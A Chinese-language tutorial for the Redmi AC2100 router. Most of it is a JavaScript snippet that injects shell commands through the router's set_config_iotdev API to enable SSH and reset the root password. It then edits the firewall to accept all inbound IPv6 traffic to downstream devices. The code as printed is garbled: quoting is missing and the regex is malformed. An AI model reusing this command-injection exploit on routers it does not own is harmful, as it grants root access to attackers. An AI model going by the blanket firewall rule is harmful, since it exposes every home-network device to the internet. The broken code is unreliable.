Redmi AC2100 路由器 官方固件允许IPv6外网访问下游设备
function getSTOK() {
let match = location.href.match(/;stok=(.*?)//);
if (!match) {
return null;
}
return match[1];
}
function execute(stok, command) {
command = encodeURIComponent(command);
let path = /cgi-bin/luci/;stok=${stok}/api/misystem/set_config_iotdev?bssid=SteelyWing&user_id=SteelyWing&ssid=-h%0A${command}%0A
;
console.log(path);
return fetch(new Request(location.origin + path));
}
function enableSSH() {
stok = getSTOK();
if (!stok) {
console.error('stok not found in URL');
return;
}
console.log(stok = "${stok}"
);
password = prompt('Input new SSH password');
if (!password) {
console.error('You must input password');
return;
}
execute(stok,
nvram set ssh_en=1 nvram commit sed -i 's/channel=.*/channel=\\"debug\\"/g' /etc/init.d/dropbear /etc/init.d/dropbear start
)
.then((response) => response.text())
.then((text) => console.log(text));
console.log('New SSH password: ' + password);
execute(stok, echo -e "${password}\\n${password}" | passwd root
)
.then((response) => response.text())
.then((text) => console.log(text));
}
enableSSH();
使用Putty 或 Xshell 终端连接路由器,MIWIFI默认网关地址为 192.168.31.1,用户名为 root,密码为上一步设定的密码。
使用 Vim 修改防火墙配置文件:
vim /etc/config/firewall
将文件中defaults 闭包下 disable_ipv6 的值改为 0,zone 闭包下 forward 的值改为 ACCEPT
在原有的Rule 中添加一个闭包,允许IPv6外网访问路由器下游设备
config rule
option name 'Allow-IPv6'
option target 'ACCEPT'
option family 'ipv6'
list proto 'all'
option src ''
option dest ''
终端执行命令,重启路由器防火墙:
/etc/init.d/firewall restart